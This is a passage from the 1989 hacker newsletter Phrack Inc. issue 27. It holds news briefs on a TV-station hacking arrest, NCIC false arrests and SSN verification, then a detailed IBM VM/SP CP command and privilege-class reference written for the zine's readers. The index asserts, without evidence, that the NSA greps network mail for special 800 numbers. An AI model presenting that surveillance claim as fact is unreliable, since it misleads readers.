Computer experts determined that an intruder had rifled the files. Authorities said Shapiro knew WTVT's security system thoroughly because he had helped set it up while working there as an assignment manager before being hired away from WTVT in October.

- -

TV News Executives Fired After Hacking Charges From Rival

Tampa, Fla. -- A Florida television station fired two news executives in the wake of reports that one of them allegedly penetrated a rival station's computer system and stole sensitive information.

WTSP-TV (Channel 10), an ABC affiliate in St. Petersburg, announced that it had fired Assistant News Director Michael Shapiro and News Director Terry Cole.

Shapiro was arrested on February 7th on felony charges for allegedly breaking into a computer system at WTVT-TV (Channel 13) on at least six occasions in January. He was once employed by WTVT as an assistant manager and was responsible for administering the station's computer systems.

Law enforcement officials seized from Shapiro's home a personal computer, 200 floppy disks and an operating manual and user guide for software used at the rival station.

He has been charged with 14 felony counts under Florida Statute 815, which covers computer-related crimes. Each count carries a maximum sentence sentence of 15 years and a $10,000 fine.

Vince Barresi, WSTP's vice-president and general manager, refused to comment on the two firings. However, in a prepared statement, he said that he told viewers during an 11 PM newscast last Tuesday that the station acted to "avoid any questions about the objective way we do our business in keeping the public informed."

Cole, who hired Shapiro last September, has not been charged by Florida law enforcement officials. He was fired, according to one source, because as director of the news room operations, he is held ultimately for the actions of news staffers. Shapiro and Cole were unavailable for comment.

[Another story that discussed this case was "Television Editor Charged In Raid On Rival's Files" (February 8, 1989). It appeared in Phrack World News Issue XXIV/Part 2. -KL]

National Crime Information Center Leads To Repeat False Arrest May 14, 1989

by James Rainey (Los Angeles Times)

Mix ups with the databases at the NCIC have caused Roberto Perales Hernandez to be jailed twice in the last three years as a suspect in a 1985 Chicago residential burglary. The authorities confused him with another Roberto Hernandez due to a single entry in the FBI's National Crime Information Center computer.

The two Roberto Hernandezes are the same height, about the same weight, have brown hair, brown eyes, tattoos on their left arms, share the same birthday, and report Social Security numbers which differ by only one digit!

The falsely imprisoned man has filed suit charging the Hawthorne, California Police Department, Los Angeles County, and the state of California with false imprisonment, infliction of emotional distress, and civil rights violations stemming from the most recent arrest last year.

He had previously received a $7,000 settlement from the county for holding him 12 days in 1986 before realizing he was the wrong man. In the latest incident, he was held for seven days then freed with no explanation.

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Another False Incarceration May 18, 1989

In his testimony on May 18, 1989 to the Subcommittee on Civil and Constitutional Rights of the Committee on the Judiciary of the U.S. House of Representatives, relating to the National Crime Information Center, David D. Redell cited another case of false incarceration concerning Roberto Perales Hernandez as well as various cases noted earlier -- such as that of Terry Dean Rogan [see below]:

> "Only last week, a case in California demonstrated the potential benefit of easy access to stored images. Joseph O. Robertson had been arrested, extradited, charged, and sent to a state mental facility for 17 months. During that entire time, mug shots and fingerprints were already on file showing clearly that he was the wrong man, but no one had taken the trouble to check them."

- -

These articles show clear examples of the damage and problems caused by this "super" database. People like William Bayse (Federal Bureau of Investigation's Director For Technical Services) and William Sessions (Director of the FBI) either fail to realize this or perhaps they just do not care (as long as something similar does not happen to them).

For those of you who are interested in looking into this further, the first article about this NCIC database was; "'Big Brotherish' Data Base Assailed," (November 21, 1988). It appeared in Phrack World News Issue XXII/Part 3.

Another incident similar to the cases mentioned above concerned Richard Lawrence Sklar, a political science professor at the University of California at Los Angeles. He was mistaken by the computer for a fugitive wanted in a real estate scam in Arizona. Before the FBI figured out that they had the incorrect person, Sklar, age 58, spent two days being strip searched, herded from one holding pen to another, and handcuffed to gang members and other violent offenders. For more details on this case and the case concerning Terry Dean Rogan, please refer to "FBI National Crime Information Center Data Bank," (February 13, 1989) which appeared in Phrack World News Issue XXIV/Part 2 (as well as the Washington Post).

TRW and Social Security Administration May 12, 1989
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The credit bureau of TRW has been working with the Social Security Administration to verify its database of 140 million names and Social Security numbers. In order to cover the cost, TRW is paying the Social Security Administration $1 million, while Social Security Administration will provide a matching $1 million.

Since the Social Security Administration is asking for a budget increase for their computer and telecommunications systems, several legislators are outraged by the fact they they are spending $1 million for this non-government project. Claiming that the project is "as far away from the mission of the Social Security Administration as anything I have ever come across," Senator David Pryor (D-Ark) questioned the competence and credibility of Social Security Administration Commissioner Dorcas R. Hardy and asked for an investigation by the HHS inspector general.

In addition, several lawmakers such as Dale Bumpers (D-Ark) believe the project to be a violation of civil liberties. Said Bumpers, "I don't like any public institution releasing an individual's private information." The American Law Division of the Congressional Research Service has already concluded that the project is a violation of the Privacy Act of 1974.

[A related article, "Verifying Social Security Numbers," (April 11, 1989) appeared in Phrack World News Issue XXVI/Part 3 (as well as the New York Times on the same date). -KL]

Phrack World News XXVII Quicknotes
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1. The current name assigned to the new network being created by the merger of BITNET and CSNET is ONENET.

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2. NPA 903 Assigned to NE Texas (May 10, 1989) -- It was just announced that those portions of 214 outside Dallas will be changed to 903 in the Fall of 1990.

   With 708 assigned to Chicago, 903 assigned to Texas, and 908 assigned to New Jersey, only 909 and 917 remain to be assigned before the format changes.

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3. Details On New Area Code 510 (June 6, 1989) -- The press release from Pacific Bell, quoted in the San Francisco Chronicle, gives the phase-in dates for the new NPA 510.

   Inception is scheduled for October 7, 1991, with a four-month grace period when NPA 415 will still work for the affected numbers. Final cutover is scheduled for January 27, 1992.

   NPA 510 will encompass Alameda and Contra Costa counties, which currently have 842,388 customers out of the current 2,005,687 customers in NPA 415.

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4. New Jersey Area Code To Be Split (April 27, 1989) -- The split is not supposed to occur until 1991. The new NPA will be 908 and it will basically cover the southern "half" of the current 201 area. The affected counties will be Warren, Hunterdon, Middlesex, Union, Monmouth and Ocean, and the southwest corner of Morris). Counties remaining in 201 will be Sussex, Passaic, Bergen, Essex, Hudson, and the majority of Morris.

   New Jersey Bell will also start requiring area codes on calls into New York and Pennsylvania that have been considered part of New Jersey local calling areas. This will apparently take effect October 2 and free up about 25 exchanges. Information from the Asbury Park Press.

   [This last line somewhat contradicts the first line as far as the dates are concerned. More information as we get it. -- KL.]

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5. New Area Codes For London (April 27, 1989) -- British Telecom has announced that the area code for London is to be changed on May 6th, 1990, due to the increased number of lines needed in the capital.

   The existing code is 01-, and the new codes to be introduced are 071- for the centre of the city and 081- for the suburbs. A list was published in the Evening Standard, showing which exchanges will fall in which area.

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6. Member Learns The Hard Way: American Express Is Watching (May 4, 1989) -- This article taken from the San Jose Mercury News describes how American Express called a member to voice their concern that he might not be able to pay his recent bill. American Express was able to access his checking account and find that he had less than what was owed to them. His card was temporarily "deactivated" after the member refused to give any financial information except that he would pay up the bill with cash when it came in.

   Apparently, the card application, in finer print, declares that "[American Express reserves] the right to access accounts to ascertain whether you are able to pay the balance." After some arguments with the company, the member comments that "I learned a lesson: My life is not as private as I thought."

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7. Southwestern Bell's QuickSource (April 24, 1989) -- Southwestern Bell Telephone Company is running a one year trial (March 1989 89 - March 1990) of two information services: QuickSource (audiotex) and Sourceline (videotext). The latter requires a terminal of some type, but the former only requires a touch-tone phone for access. The QuickSource number is 323-2000, but cannot be accessed via 1+713+; SWBTCo has blocked access to "the Houston metro area served by SWBTCo," according to the script the woman reads to you when ask for help (713-865-5777; not blocked). The help desk will send you a free QuickSource directory though.

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8. Telemail, MCI, AT&T Mail Interconnection (May 16, 1989) -- U.S. Sprint's subsidiary, Telenet has announced an interconnection agreement between Telemail, Telenet's electronic mail product, MCI Mail, and AT&T Mail.

The new arrangement, scheduled to be in effect later this summer, will allow the 300,000 worldwide users of Telemail, the 100,000 users of MCI Mail and the 50,000 users of AT&T Mail to conveniently send email messages to each other.

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9. Illinois Bell Knocked Out For Four Hours! (May 18,1989) -- Service to over 40,000 Illinois Bell subscribers in the northwest suburbs of Chicago was disrupted for about four hours because of problems with the computer in the switching center.

   Phones were either dead or inoperative for incoming and outgoing calls between 9:30 a.m. and 1:40 p.m. because of a software glitch at the central office in Hoffman Estates, IL. Most of the disruption occurred in Hoffman Estates, Schaumburg, Arlington Heights, Hanover Park, and Streamwood, IL.

   The exact nature of the problem was not discussed by the Bell spokesman who reported that the outage had been corrected. Apparently the backup system which is supposed to kick in also failed.

---

10. SRI Attacked By Kamikaze Squirrels (May 29, 1989) -- It seems that the Data Defense Network SRI's "no-single-point-of-failure" power system failed at the hands, or rather the paws, of a squirrel. The power was off for approximately 9 hours and they experienced no hardware problems. This was at least the third time that a squirrel has done SRI in.

- -

11. New York Telephone Freebies (June 10, 1989)(San Francisco Chronicle, p. 2.) -- 24 pay phones along the Long Island Expressway were in fact free phones because of a programming/database screw-up. They were being heavily used for long distance calls by those who had discovered the oversight, including many to Pakistan (Police found 15 Pakistani men using the phones when they went to investigate after a shooting). There were no estimates on the unrecovered cost of the phone calls.

*** END ***

==Phrack Inc.==

Volume Three, Issue 27, File 1 of 11

Phrack Inc. Newsletter Issue XXVII Index

June 20, 1989

Greetings and welcome to Issue 27 of Phrack Inc. The pressure is on with SummerCon '89 just a couple short days away. We're sorry it has taken so long to get this issue out, but summer break has created more responsibilities and busy schedules than we have ever had to deal with while in school. Still, I think you will agree that this issue was worth the wait.

This issue we feature a new updated NUA and Datex-P list from Oberdaemon of Switzerland and Chapter 7 of the Future Transcendent Saga (taking into account that the SPAN and NSFnet files were chapters 5 and 6). We also present the second part of the COSMOS file written by King Arthur.

Before we get to the main contents of the issue, we have a few comments to make regarding security and Phrack Inc.'s Internet access;

Thanks to a friend, we at Phrack Inc. have become aware of one of the main techniques that the National Security Agency (NSA) uses to perform surveillance on the wide area networks.

In certain messages that certain government agencies distribute, special phone numbers are included; WATS (800) numbers, to be more specific. As these messages are distributed around the continent via various netmail and file transfer schemes, they are passed through several surveillance stations. All of their stations perform one function, and in Unix terms, that function is called "grep."

Grep stands for G>lobal R>egular E>xpression search and P>rint. The grep does simple string matching. Every instance of these special 800-numbers in an email message (or batch of them) is flagged, recorded, and the record is mailed to certain intelligence agencies by the surveillance stations.

Here are the networks that we are reasonably certain that this practice is performed on:

* USEnet : Email is only checked in certain places, but ALL netnews (including alt and any other nonstandard newsgroups) are flagged by a single government domain SUN-3 that shall remain nameless.
* ARPAnet : All mail going through a standard BBN (Bolt, Bernack, and Neumann... a Cambridge/MIT spinoff) Internet controller will be flagged, but the only information recorded by the controller is the source and destination TCP/IP addresses of the message. But when you consider that this involves ***ALL*** DARPA mailing lists, you get a visualization of the magnitude. The reason more complex information is NOT recorded is that this network is the only AUTHORIZED place that these messages with the hot WATS are supposed to appear. You will see what this means in a moment.
* BITnet : Large IBM mainframe with I/O channel cycles to spare should have no problem scanning mail from one of the most publically accessable "free" networks.
* Fidonet : The Secret Service scans this for credit card and other violations. It is not too hard for them to check for the (800)'s, too.
* W.Union : All international telex lines are scanned to match a whole lot of stuff, especially drug-related information. The phone numbers are on their list.

We have other suspicions, but we are withholding them for now.

The other news is equally disturbing because it strikes us a little close to home. We are temporarily losing our network access. As of June 27, 1989 through August 28, 1989 we will not have access to our accounts on UMCVMB mainframe system. Make no attempt to mail us to our addresses there until

August 28, 1989. However, every cloud has a silver lining and this is no exception. For networks people who wish to submit files to Phrack Inc. during this time period we proudly present our friend and associate, Hatchet Molly. He can be reached at "TK0GRM2@NIU.BITNET" and/or "TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU".

So here is to another great issue of Phrack Inc!

Taran King Knight Lightning

Hatchet Molly
TK0GRM2@NIU.BITNET
TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU

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==Phrack Inc.==

Volume Three, Issue 27, File 2 of 12

Operating the IBM VM/SP CP

(IBM Virtual Machine System Product Control Program)

An information article researched by

Taran King

May 18, 1989

This article is for the purpose of understanding the Control Program (CP) portion of IBM's VM/SP. This is basically a separate section of VM/CMS known as CP (with full screen editors, the CP level is indicated in the lower right hand corner of the screen and for line-by-line editors, before the command line and after hitting carriage returns, it should say "CP") and it's purpose is to manage real resources. Any command that involves something outside of your virtual machine must communicate with CP. If CMS does not recognize a command you give it, it will give it to CP.

The user generally enters the CP stage after a program flops or if you get disconnected. You can also enter the CP stage by hitting PA1 which is a function key of sorts. PA1 toggles between CP and CMS while on-line and if you re-login after being disconnected, PA1 can be used besides the BEGIN command which will be spoken about later in this article.

Generally, VM/CMS systems are well equipped with help files so if anything I print becomes unclear to you, from CMS mode, type HELP CP XXX where XXX is the CP command you want information on.

To start this article off, I'm printing off the IBM-Defined Class and the Function Types as listed in the IBM VM/SP CP manual. This essentially tells you what privileges you have with your assigned class.

~ ~

IBM-Defined Class	Function Type	User & Functions
A	O	Operations: The primary sysop can issue all class A commands. The class A user controls the VM/SP system. Class A is assigned to the user at the VM/SP system console during IPL. The primary sysop is responsible for the availability of the VM/SP system and its communication lines and resources. In addition, the class A user controls system accounting, broadcast messages, virtual machine performance options, and other command operands that affect the overall performance of the VM/SP. The sysop controls operation of the real machine using the system control panel and console device. NOTE: The class A sysop who is automatically logged on during CP initialization is designated as the primary sysop.
B	R	Resource: The system resource operator can issue all class B commands. The class B user controls allocation and deallocation of all the real resources of the VM/SP system, except those controlled by the primary sysop and spooling operator.
C	P	Programmer: The system programmer can issue all class C commands. The class C user

		updates certain functions of the VM/SP system. The system programmer can modify real storage in the real machine.
D	S	Spooling: The spooling operator can issue all class D commands. The class D user controls spool data files and specific functions of the system's unit record equipment.
E	A	Analyst: The system analyst can issue all class E commands. The class E user displays the contents of real storage, performs the functions required to generate saved systems and discontiguous saved segments, and controls the collecting and recording of performance measurement data. This class of user can display specified real storage areas on the virtual operator's console or on a spooled virtual printer, but cannot modify real storage.
F	C	Customer Engineer: The service representative can issue all class F commands. The class F user obtains, and examines, in detail, certain data about input and output devices connected to the VM/SP system. The service representative can establish extensive recording mode for one I/O device at a time and can cause the recording of repressible machine check errors to be initiated or resumed.
G	G	General: The general user can issue all class G commands. The class G user controls functions associated with the execution of his virtual machine. A general user cannot display or modify real storage.
ANY	ANY	The ANY classification is given to certain CP commands that are available to any user. These are primarily for the purpose of gaining and relinquishing access to the VM/SP system.

~ ~

The following is the list of commands available along with a brief description as to what they do and/or formatting and then ending with the IBM-Defined Class and Function Type.

* : From CP, one may use the * command to annotate the terminal console sheet
~ or the terminal display screen with a comment. In other words, type * and then any string of characters you would, for some reason, to be present on the screen thereafter.
Privilege Class: ANY
Function Type: N/A

#CP : This command is used to execute a CP Command while in a virtual machine
~~~ command environment without first signaling attention to get to the CP command environment which means that when typing \003P <command> to perform a CP operation, CP directly receives the command whereas CP <command> merely queues the command from CP.
Privilege Class: ANY
Function Type: ANY

ACNT : The ACNT command is used to create accounting records for logged on
~~~~ users and to reset accounting data. It also closes a spool file that is accumulating accounting records.
Privilege Class: A

Function Type: O

ADSTOP : The ADSTOP command is used to halt the execution of a virtual machine at a virtual instruction point. The hexloc variable may be placed after the word ADSTOP which is a 6 character hexadecimal representation of the virtual instruction address where the execution is to be halted. The OFF option of the ADSTOP command cancels any previous ADSTOP setting.
Privilege Class: G
Function Type: G

ATTN : Use the ATTN command to make an attention interruption pending at your virtual console.
Privilege Class: G
Function Type: G

AUTOLOG : This command allows the user to log on any virtual machine defined in the directory.
Privilege Level: A, B
Function Type: O

BACKSPAC : The BACKSPAC command is used to restart or reposition the current output on a real punch or printer.
Privilege Class: D
Function Type: S

BEGIN or B : The BEGIN command by itself from CP mode will return the user to CMS mode in the place where he/she left off before he/she was disconnected or thrown into CP. The BEGIN command can also be followed by a hex location as to where to start in the case of the user wanting to be doing something other than what was previously occurring.
Privilege Class: G
Function Type: G

CHANGE or CH : In use of the CHANGE command, there are subcommands with variables. Generally, the "name" variable is 1 to 4 characters in length. The following are the subcommands with functions and formatting:

- READER or RDR : changes reader spool files.
- PRINTER or PRT : changes printer spool files.
- PUNCH or PCH : changes punch spool files.
- CLASS c1 : designates an existing class where c1 is a 1-character alphanumerical field from A to Z or 0 to 9.
- spoolid : spoolid number of file that is to be changed.
- FORM form1 : 1 to 8 character alphanumeric form name used to select files to be changed (form1).
- ALL : changes all of your spool files.
- HOLD : prevents a file from being printed, punched, or read until released.
- NOHOLD : releases the specified file from the user's HOLD status.
- DIST dist : changes the distribution code to variable "dist".
- COPY(*)nnn : specifies number of copies of the file you want spooled, which is valid only for printer or punch files. "nnn" is a number from 1 to 255 and the "*" is present in the case of a 3800 printer being used so that copies will be made in the printer internally.
- FLASH name nnn : signifies that a form's overlay contained in the 3800 printer is to be superimposed onto certain pages of output. "nnn" is a number from 0 to 255 representing the number of copies to be superimposed.
- MODIFY name (n) : allows text alteration by preventing information printing or by adding labels to output. "n" selects a keyword in CHARS to be used for copy modification text.
- CHARS name1 (name2(name3(name4)))
  CHARS name1(CH names2(CH names3(CH names4))) : specifies character arrangement table when printing a file. There can be up to 4 names.
- FCB name : controls vertical spacing of output on a page.
- FORM form2 : changes spool form name of file to form2.
- NAME fn (ft) : assigns identification to spool file in CMS format filename and filetype.

- NAME dsname : assigns identification to spool file in non-CMS format where "dsname" is from 1 to 24 characters, suitable for specifying OS or DOS files.

Privilege Class: S, G
Function Type: D, G

CLOSE or C : The CLOSE command terminates spooling activity on any virtual spooled unit record or console device. It Contains the following subcommands to be followed by the letter C or the word CLOSE:

- READER or RDR
- PRINTER or PRT
- PUNCH or PCH
- FORM form1
- HOLD
- NOHOLD
- DIST dist
- NAME fn (ft)
- NAME dsname
- vaddr : virtual address (cuu) of device to be closed.
- CONSOLE : closes virtual machine's console spool file which makes it a printer spool file.
- PURGE : closes and immediately purges from the virtual machine the output spool files. No output file is produced.
- CHAIN : only valid for VM/SP HPO Release 4.2 and Profs Spool File Enhancement PRPQ. Indicates that the punchfile is to be chained.

Privilege Class: G
Function Type: G

COMMANDS or COMM : Use COMMAND to list the commands and diagnose codes you are authorized to use.
Privilege Class: ANY
Function Type: ANY

COUPLE : Using the COUPLE command connects your virtual non-dedicated channel-to-channel device to another user's virtual device of the same type or to another one of your own virtual devices of the same type. The format of this command is in the form of COUPLE vaddr1 TO userid vaddr2. The variable vaddr1 is your virtual address and the variables userid vaddr2 identify the userid and virtual address of that userid to be connected to.
Privilege Class: G
Function Type: G

CP : The CP command may precede the command to be processed, but it is not necessary. Generally, the CP command is used from CMS mode to queue CP functions by typing CP <command>.
Privilege Class: ANY
Function Type: ANY

CPTRAP : The CPTRAP command creates a reader file of a selected trace table, CP interface, and virtual machine interface entries for problem determination.
Privilege Class: C
Function Type: P

DCP : This command displays the contents of real storage locations at the terminal.
Privilege Class: C, E
Function Type: P

DEFINE or DEF : The DEFINE command in CP is used to alter your virtual machine configuration or channel operating mode. There are a LOT of subcommands that are used with the DEFINE command such as RDR or PRT or PCH and the list goes on and on. If you want details, there is a help file (type HELP CP DEF) that is almost 600 lines that goes into detail on each subcommand.
Privilege Class: B, G
Function Type: R, G

DETACH or DET : The DETACH command is used to remove a virtual device from the virtual machine. The subcommands are as follows:

- vaddr (vaddr...) : used for multiple addresses to be detached where vaddr is the virtual address (cuu) of the device to be detached.
- vaddr-vaddr : used to detach a range of addresses.
- CHANNEL c : detaches the real address of the channel.

Privilege Class: B, G
Function Type: R, G

DIAL : Using the DIAL command logically connects a switched line, leased line, locally attached, or remote Binary Synchronous (BSC) terminal to a previously logged-on multiple-access virtual machine. It is in the format of DIAL userid (vaddr) where the userid is that to be connected to and the vaddr is the optional virtual address.
Privilege Class: ANY
Function Type: ANY

DISABLE : The DISABLE command prevents low speed communications lines from accessing the system.
Privilege Class: A, B
Function Type: R

DISCONN or DISC : The DISCONNECT command is used to disconnect your terminal from the system while the virtual machine continues operation. Using the DISC HOLD or DISC HO option, you specify that the communications line is not to be disabled which allows you to avoid re-dialing the system.
Privilege Class: ANY
Function Type: ANY

DISPLAY or D : The DISPLAY command allows you to display virtual machine components at your terminal. Depending on what variable follows the D or DISPLAY command from CP, you can display virtual storage locations, storage keys, general registers, floating-point registers, control registers, vector registers, VAC (Vector Activity Counter), VSR (Vector Status Register), VMR (Vector Mask Register), PSW (Program Status Word), CAW (Channel Address Word), and CSW (Channel Status Word).
Privilege Class: G
Function Type: G

DMCP : This command prints the contents of real storage locations on a user's virtual spooled printer.
Privilege Class: C, E
Function Type: P

DRAIN : The DRAIN command stops spooling operations on a specified real unit's read devices after the file currently being processed has been completed.
Privilege Class: D
Function Type: S

DUMP or DU : Use the DUMP command to print the contents of various components of the virtual machine on the virtual spooled printer. Depending on what variable is placed after the DUMP or DU command, the items printed include virtual PSW (Program Status Word), general registers, floating-point registers, control registers, storage keys, and virtual storage locations.
Privilege Class: G
Function Type: G

ECHO or EC : Defaulted at 1, the ECHO command places the terminal in the echo environment in which any line entered is transmitted unchanged back to the terminal a specified number of times, depending on the variable entered immediately after the word ECHO or EC.
Privilege Type: G
Function Type: G

ENABLE : Use the ENABLE command to enable the previously disabled or nonabled devices so users may access the system.

Privilege Class: A, B
Function Type: R

EXTERNAL or EXT : The EXTERNAL command allows the user to simulate an external interrupt to the virtual machine and to return control to that machine. The hexadecimal code following the word EXTERNAL or EXT is associated with the external interrupt, the default being the number 40 which is associated with the external interrupt button on a system console.
Privilege Class: G
Function Type: G

FLUSH : The FLUSH command halts and immediately purges on hold the current output on a specified unit record device.
Privilege Class: D
Function Type: S

FORCE : This command forces a logoff of any user of the system.
Privilege Class: A
Function Type: O

FREE : Use the FREE command to remove a set of spool files belonging to a specified user from a system hold status.
Privilege Class: D
Function Type: S

HALT : The HALT command terminates any active channel program on a specified real device.
Privilege Class: A
Function Type: O

HOLD : The HOLD command places user spool files in a system hold status.
Privilege Class: D
Function Type: S

INDICATE or IND : At your terminal, you can display the use of and contention for major system resources with the INDICATE command. The following variables that follow the word INDICATE or IND show the following data:

- LOAD : shows number of users in queue 1 and queue 2, the usage of real storage, and the ratio of active users to users being serviced. This is done by returning values that indicate operating load on the system.
- USER : displays the amounts of system resources used by your virtual machine in the current terminal session.

Privilege Class: A, E, G
Function Type: O, A, G

IPL or I : Generally used to return to CMS via the IPL CMS or I CMS command, the IPL command simulates an initial program load function for a virtual machine. Subcommands are as follows:

- vaddr : virtual address (cuu) of the device that contains the nucleus to be loaded.
- cylno : cylinder containing the IPL data which defaults to 0.
- nnnnn : block address containing the IPL data which defaults to 0.
- CLEAR : sets virtual storage space to binary zeros before the operating system is loaded.
- NOCLEAR : allows contents of your virtual storage space to remain unchanged prior to program load.
- STOP : halts the virtual machine during the IPL procedure just before the initial PSW is loaded.
- ATTN : generates an attention interrupt to the virtual machine during the IPL procedure.
- PARM p1 (p2...) : processes up to 64 bytes of data to your virtual machine's general registers starting with the high order byte of general register 0.
- systemname : simulates IPL function when loading a named system that was

previously saved.
Privilege Class: G
Function Type: G

LINK : The LINK command is used to make a device that is associated with another virtual machine available at your virtual machine configuration based upon info in that user's directory entry. This command is in the format of LINK TO userid vaddr1 AS vaddr2 (mode) ((PASS=) password(1)).
Privilege Class: G
Function Type: G

LOADBUF : On a 1403 printer, the LOADBUF command loads the Universal Character Set (UCS) with a specified print train or chain image. On a 3203, 3211, 3212, 4245, or 4248 printer, it loads the UCS or the Forms Control Buffer (FCB) with a specified image. On a 3289 Model 4 printer, it loads the Font Offset Buffer (FOB) with the image print belt and the FCB.
Privilege Class: D
Function Type: S

LOADVFCB : This command specifies the forms control buffer image for different virtual spooled printers. The variables that follow it include:

- vaddr
- FCB : required reserved keyword meaning Forms Control Buffer.
- name : a name that is system defined.
- INDEX (nn) : place initial printing position in number nn for the 3211 printer.

Privilege Class: G
Function Type: G

LOCATE : Use the LOCATE command to find the addresses of CP control blocks associated with a particular user, a user's device, or a real system device.
Privilege Class: C, E
Function Type: P

LOCK : This command permanently locks in selected pages of real storage.
Privilege Class: A
Function Type: O

LOGOFF or LOGOUT or LOG : Used to terminate a virtual machine session and disconnect your virtual machine from the system, this command can be used with the HOLD option (i.e. LOG HOLD) for retaining the connection allowing for a switched communications line to enable one to log on without re-dialing the system.
Privilege Class: ANY
Function Type: ANY

LOGON or LOGIN or L : Obvious enough, the LOGIN or LOGON command is used to identify yourself to the system and to access that system. Following the words LOGIN or LOGON or L, type your userid which is the identifier assigned to you in the system. If the system you are logging onto does NOT have password suppression, your password can follow directly after your userid. NOTE: If the system you are on does have password suppression (i.e. it does not echo to your screen what you type when you type your password), you will get a system error message if you try to put it on the same line as your userid. The NOIPL option, which would follow your password and userid, specifies that the IPL device or name in the directory should not be used for an automatic IPL.
Privilege Class: ANY
Function Type: ANY

MESSAGE or MSG or M : Use the MESSAGE command to transmit message text to a specified userid or to the primary system operator userid. MSG userid msgtext sends msgtext to the userid specified after userid. If userid is replaced with *, the text is sent to yourself. Also, if the userid is replaced with OPERATOR, the message text is sent to the primary system operator regardless of his userid.
Privilege Class: A, B, ANY

Function Type: O, ANY

MIGRATE : The MIGRATE command activates the normal page/swap table migration routines or forces a particular user's pages to a secondary device even if that user is currently active.
Privilege Class: A
Function Type: O

MONITOR : To initiate or override the system-generated function or to terminate the recording of events occurring in the real machine, use the MONITOR command.
Privilege Class: A, E
Function Type: O

MSGNOH : The MSGNOH command allows a service virtual machine to send messages to specified users without the standard header associated with the MESSAGE command.
Privilege Class: B
Function Type: R

NETWORK : The NETWORK command allows you to load, dump and control operation of a 3704 or 3705 and to control operation of a 3725 control program operating in 270x emulation mode (EP). Also, it allows control of remote 3270 devices via binary synchronous lines.
Privilege Class: A
Function Type: O

NOTREADY or NOTR : Using the NOTREADY command causes the virtual device, which is specified after the NOTREADY statement via cuu address, to appear as if it had changed from ready to not ready status.
Privilege Class: G
Function Type: G

ORDER or ORD : ORDER is used to place your closed spool files in a specific order by device type. These spool files include READER, PRINTER, and PUNCH files and can be sorted by CLASS, FORM, and spoolid.
Privilege Class: D, G
Function Type: S, G

PER : PER allows one to monitor certain events as they occur during program execution in the user's virtual machine. This command can monitor the fetching and execution of an instruction, the execution of a successful branch instruction, the instruction of an instruction that alters a specific general purpose register, and the execution of an instruction in the virtual machine that alters storage.
Privilege Class: A, B, C, D, E, F, G
Function Type: G

PURGE or PUR : Use the PURGE command to remove your own closed spool files from the system before they are printed or punched by the spooling devices, or before they are read by a user. The spool file specifications include READER, PRINTER, and PUNCH files as well as the ALL option which purges all of the above mentioned files.
Privilege Class: D, G
Function Type: S, G

QUERY or Q : Also available in CMS mode, the QUERY command is used to determine your system status and machine configuration. Although there are far too many subcommands of the QUERY command, the following is a list of items that may be queried. I recommend, for full detail, using the HELP CP QUERY command as it is quite thorough (over 1000 lines) in explaining the QUERY command.

- The time you have used during a terminal session.
- The number of closed input and output spool files associated with your virtual machine.
- The current settings of the color and/or extended highlight values in effect for your virtual machine console.
- The current settings of the SET command functions.
- The current settings of the TERMINAL command functions.

- The status of all the devices on your virtual machine.
- The channel operating mode of your virtual machine, whether block-multiplexer or selector.
- A listing of all users who are linked to a given virtual address, together with their device addresses and access modes.
- Display of the secondary user (secuser) that is specified in the CONSOLE directory statement.
- Identification and attributes associated with your virtual PRINTER, PUNCH, and READER spool files.
- The identification of your virtual processor.
- The mode of processor operation of your VM/SP HPO installation: uniprocessor mode (UP), attached processor mode (AP), or multiprocessor mode (MP).
- The userid and system identifier.
- A listing of the PER traceset elements.
- The log messages of the day.
- The names of the users that are logged on.
- The number of users that are logged on or dialed to the system.

NOTE: There are other operands you can use with the QUERY command if you have the privilege class required to use them.
Privilege Class: A, B, C, D, E, F, G
Function Type: O, R, P, S, A, C, G

QVM : Use this command to request the transition from the VM/SP environment to native mode for a particular virtual machine.
Privilege Class: A
Function Type: O

READY : In the format of READY vaddr, this command is used to set a device-end interruption pending for the specified virtual device.
Privilege Class: G
Function Type: G

REPEAT : Use the REPEAT command to increase the number of copies of an output file or to place the current output file in a hold status increasing or not increasing the number of copies to be created.
Privilege Class: D
Function Type: S

REQUEST or REQ : Simply use the REQUEST command to make an attention interrupt at your virtual console.
Privilege Class: G
Function Type: G

RESET : Also in the format of RESET vaddr, this command is used to clear all pending interrupts from the specified virtual device.
Privilege Class: G
Function Type: G

REWIND or REW : The REWIND command is used to rewind a real tape unit attached to your virtual machine at a specified virtual device address in the format REWIND vaddr.
Privilege Class: G
Function Type: G

SAVESYS : This command allows you to save a virtual machine storage space with registers and the PSW as they currently exist. It is used in the process of creating named systems.
Privilege Class: E
Function Type: A

SCREEN or SCRE : Use the SCREEN command to alter or change any extended color and/or extended highlight definitions for your virtual machine console. You may issue the command from any IBM supported terminal or from a PROFILE EXEC because the SCREEN command is not device dependent. However, the SCREEN command is only valid when the Extended Color Feature has been applied to the terminal controller.

You can assign extended color and extended highlighting values to six distinct

display screen areas: the input area, the system status area, and the output area that encompasses three other areas: CP output, virtual machine output, virtual machine output, and an input redisplay area. The physical attributes of 3270 Information Display station screens vary according to model.

Because this command mainly applies to people who are not on dial-up, I have elected not to detail all of the variables available with the SCREEN command. Once again, I recommend you using HELP CP SCREEN for details.
Privilege Class: G
Function Type: G

SEND : Using the Single Console Image Facility, the SEND command is used to pass commands and message replies for the secondary user's console to disconnect virtual machines for execution. This command is executed in the format: SEND (CP) userid (text).
Privilege Class: G
Function Type: G

SET : Use the SET command to control various functions within your virtual system. This command has a large number of variables that can be SET and details for each of the variables can be obtained from the HELP CP SET file.
Privilege Class: A, B, E, F, G
Function Type: O, R, A, C, G

SHUTDOWN : This command, of course, systematically ends all virtual machine functions and checkpoints the system for an eventual warn start.
Privilege Class: A
Function Type: O

SLEEP or SL : To place the virtual machine in a dormant state but allow messages to be displayed, use the SLEEP command in the format of SLEEP nn (time-specification) where time-specification is SEC for seconds, MIN for minutes, or HR for hours and nn is the number of the amount of time for the machine to be in dormant state.
Privilege Class: G
Function Type: G

SMSG or SM : The SMSG command is used to send a special message to a virtual machine programmed to accept and process the message. The format of this command is SMSG userid msgtext where userid is the userid to receive the message and msgtext is the message to be sent to the userid.
Privilege Class: G
Function Type: G

SPACE : Use the SPACE command to force the output on a specified printer to be single spaced for the current active spool file regardless of the carriage control commands in the actual file.
Privilege Class: D
Function Type: S

SPMODE : SPMODE allows the system operator to establish or reset the single processor mode environment.
Privilege Class: A
Function Type: O

